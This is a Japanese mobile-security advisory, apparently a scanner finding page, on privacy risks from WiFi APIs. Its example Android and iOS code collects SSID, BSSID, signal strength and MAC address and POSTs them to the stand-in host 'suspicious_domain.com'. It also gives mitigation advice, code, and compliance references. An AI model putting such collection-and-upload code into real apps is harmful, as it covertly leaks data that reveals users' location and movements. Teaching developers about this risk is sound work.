モバイルWiFi APIによる個人を特定できる情報(PII)に関する懸念
説明
WiFi APIによる個人を特定できる情報(PII)に関する懸念
WiFi APIにアクセスできるモバイルアプリケーションは、ネットワーク名やアクセスポイントの使用履歴などの個人を特定できる情報(PII)を取得でき、プライベートデータの推測につながる可能性があります。
WiFi関連の権限とAPIを使用するアプリケーションは、WiFiアクセスポイントに関する機密情報(識別子、名前、信号強度など)にアクセスでき、潜在的に以下を推測する可能性があります。
- デバイスの一意の識別子
- 周囲のWiFiアクセスポイントを使用した位置情報データ
- WiFiアクセスポイントの反復的な使用パターンに依存するユーザーの移動履歴と社会的リンクの推測
例
import android.content.Context;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import java.net.HttpURLConnection;
import java.net.URL;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
public class WifiInfoRetriever {
private Context context;
public WifiInfoRetriever(Context context) {
this.context = context;
}
public void retrieveWifiInfo() {
WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
if (wifiManager.isWifiEnabled()) {
WifiInfo wifiInfo = wifiManager.getConnectionInfo();
String ssid = wifiInfo.getSSID();
String bssid = wifiInfo.getBSSID();
int rssi = wifiInfo.getRssi();
String macAddress = wifiInfo.getMacAddress();
// Construct JSON with data
String jsonInputString = String.format("{\"ssid\":\"%s\", \"bssid\":\"%s\", \"rssi\":%d, \"macAddress\":\"%s\"}",
ssid, bssid, rssi, macAddress);
try {
// Endpoint URL
URL url = new URL("http://suspicious_domain.com/api/networks");
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// Connection setup
connection.setDoOutput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type", "application/json");
try (OutputStream os = connection.getOutputStream()) {
byte[] input = jsonInputString.getBytes(StandardCharsets.UTF_8);
os.write(input, 0, input.length);
}
// Additional analysis could be performed when the data reaches the endpoint
// such as inferring location or movement patterns of users
connection.disconnect();
} catch (Exception e) {
e.printStackTrace();
}
} else {
System.out.println("WiFi is not enabled");
}
}
}
import Foundation
import SystemConfiguration.CaptiveNetwork
import NetworkExtension
class WifiInfoRetriever {
func retrieveWifiInfo() {
// Get current WiFi information
guard let interfaces = CNCopySupportedInterfaces() as? [String] else {
print("Unable to get network interfaces")
return
}
var wifiData: [String: String] = [:]
for interface in interfaces {
if let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any] {
wifiData["ssid"] = networkInfo[kCNNetworkInfoKeySSID as String] as? String
wifiData["bssid"] = networkInfo[kCNNetworkInfoKeyBSSID as String] as? String
}
}
// Check if data was retrieved
if !wifiData.isEmpty {
// Convert to JSON
guard let jsonData = try? JSONSerialization.data(withJSONObject: wifiData, options: []) else {
print("Could not convert to JSON")
return
}
// Create request
guard let url = URL(string: "http://suspicious_domain.com/api/networks") else {
return
}
var request = URLRequest(url: url)
request.httpMethod = "POST"
request.httpBody = jsonData
request.addValue("application/json", forHTTPHeaderField: "Content-Type")
// Send data to server
let task = URLSession.shared.dataTask(with: request) { data, response, error in
// Handle response as needed
// Data could be used to infer user location and movement patterns
}
task.resume()
} else {
print("WiFi information not available")
}
}
}
推奨事項
WiFi APIのプライバシーリスクの軽減
モバイルWiFi APIによる個人を特定できる情報(PII)へのアクセスに関連するプライバシーリスクを軽減するために、ユーザーと開発者の双方がいくつかの予防策を講じることができます。
ユーザー向け:
- モバイルオペレーティングシステムとすべてのアプリを最新バージョンに更新しておくこと。
- アプリにWiFi関連の権限を付与する際は慎重になること。
- 公共のWiFiネットワークに接続する際はVPNを使用すること。
- デバイスの設定でアプリの権限を定期的に見直すこと。
開発者向け:
- 機密のWiFi情報にアクセスするためにユーザーから明示的な許可を要求すること。
- 「最小特権」の原則を実装し、アプリが機能するために必要な最小限の権限のみを要求および使用すること。
- WiFiデータを保存または送信する前に、ハッシュ化または匿名化すること。
- WiFi情報がどのように使用されるかを説明する明確なプライバシーポリシーを提供すること。
- アプリの機能にWiFi情報が本当に必要かどうかを検討すること。
開発者向けのコード例:
// Request appropriate permissions
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.ACCESS_FINE_LOCATION},
PERMISSION_REQUEST_CODE);
}
// Use Android 10+ methods whenever possible
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
// Use Android 10+ compliant methods
// For example, WifiInfo.getSSID() and getBSSID() return masked values by default
} else {
// Use methods for earlier Android versions
}
// Use privacy focused NetworkCallback API
ConnectivityManager connectivityManager =
(ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkRequest.Builder builder = new NetworkRequest.Builder();
builder.addTransportType(NetworkCapabilities.TRANSPORT_WIFI);
connectivityManager.registerNetworkCallback(builder.build(), new ConnectivityManager.NetworkCallback() {
@Override
public void onAvailable(Network network) {
// Handle WiFi connection here without accessing PII
}
});
// First, ensure you have proper permissions in Info.plist
// <key>NSLocationWhenInUseUsageDescription</key>
// <string>This app needs to access your location to find nearby WiFi networks</string>
import NetworkExtension
func requestWiFiPermission() {
// Request permission before accessing WiFi information
if #available(iOS 13.0, *) {
NEHotspotHelper.register(options: nil, queue: .main) { (cmd) -> Void in
// Handle commands appropriately
print("Permission request processed")
}
}
}
// Use minimal WiFi information when necessary
func connectToKnownNetwork() {
// Instead of collecting and storing SSID/BSSID pairs,
// use the system's built-in capabilities
if let configuration = NEHotspotConfiguration(ssid: "KnownNetwork") {
NEHotspotConfigurationManager.shared.apply(configuration) { error in
if let error = error {
print("Error connecting: \(error.localizedDescription)")
} else {
print("Connected successfully")
}
}
}
}
// If you must access WiFi information, anonymize it
func getAnonymizedWifiInfo() -> String? {
guard let interfaces = CNCopySupportedInterfaces() as? [String],
let interface = interfaces.first,
let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any],
let ssid = networkInfo[kCNNetworkInfoKeySSID as String] as? String else {
return nil
}
// Hash the SSID instead of using it directly
return ssid.data(using: .utf8)?.sha256Hash.hexString
}
// Extension for hashing
extension Data {
var sha256Hash: Data {
var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
self.withUnsafeBytes {
_ = CC_SHA256($0.baseAddress, CC_LONG(self.count), &hash)
}
return Data(hash)
}
var hexString: String {
return map { String(format: "%02hhx", $0) }.joined()
}
}
リンク
基準
- CCPA:
- CCPA_1798_100
- CCPA_1798_110
- CCPA_1798_115
- CCPA_1798_135
- CCPA_1798_150
- CWE_TOP_25:
- CWE_276
- GDPR:
- ART_1
- ART_2
- ART_3
- ART_4
- ART_5
- ART_6
- ART_9
- ART_13
- ART_14
- ART_21
- ART_32
- OWASP_ASVS_L1:
- V8_3_3
- OWASP_MASVS_L1:
- MSTG_ARCH_1
- MSTG_ARCH_4
- MSTG_ARCH_12
- MSTG_STORAGE_1
- MSTG_STORAGE_4
- MSTG_STORAGE_12
- MSTG_CODE_5
- OWASP_MASVS_L2:
- MSTG_ARCH_12
- MSTG_STORAGE_12
- MSTG_STORAGE_4
- HIPAA_CONTROLS:
- SECURITY221
- SECURITY212
- SECURITY213
- OWASP_MASVS_v2_1:
- MASVS_PRIVACY_1
- MASVS_PRIVACY_3
- MASVS_STORAGE_2
- MASVS_CODE_1
- MASVS_CODE_3
- CNIL_FOR_EDITORS:
- EDITORS_1_1_1
- EDITORS_1_2_3
- EDITORS_5_1_5
- CNIL_FOR_DEVELOPERS:
- DEVELOPERS_2_2_4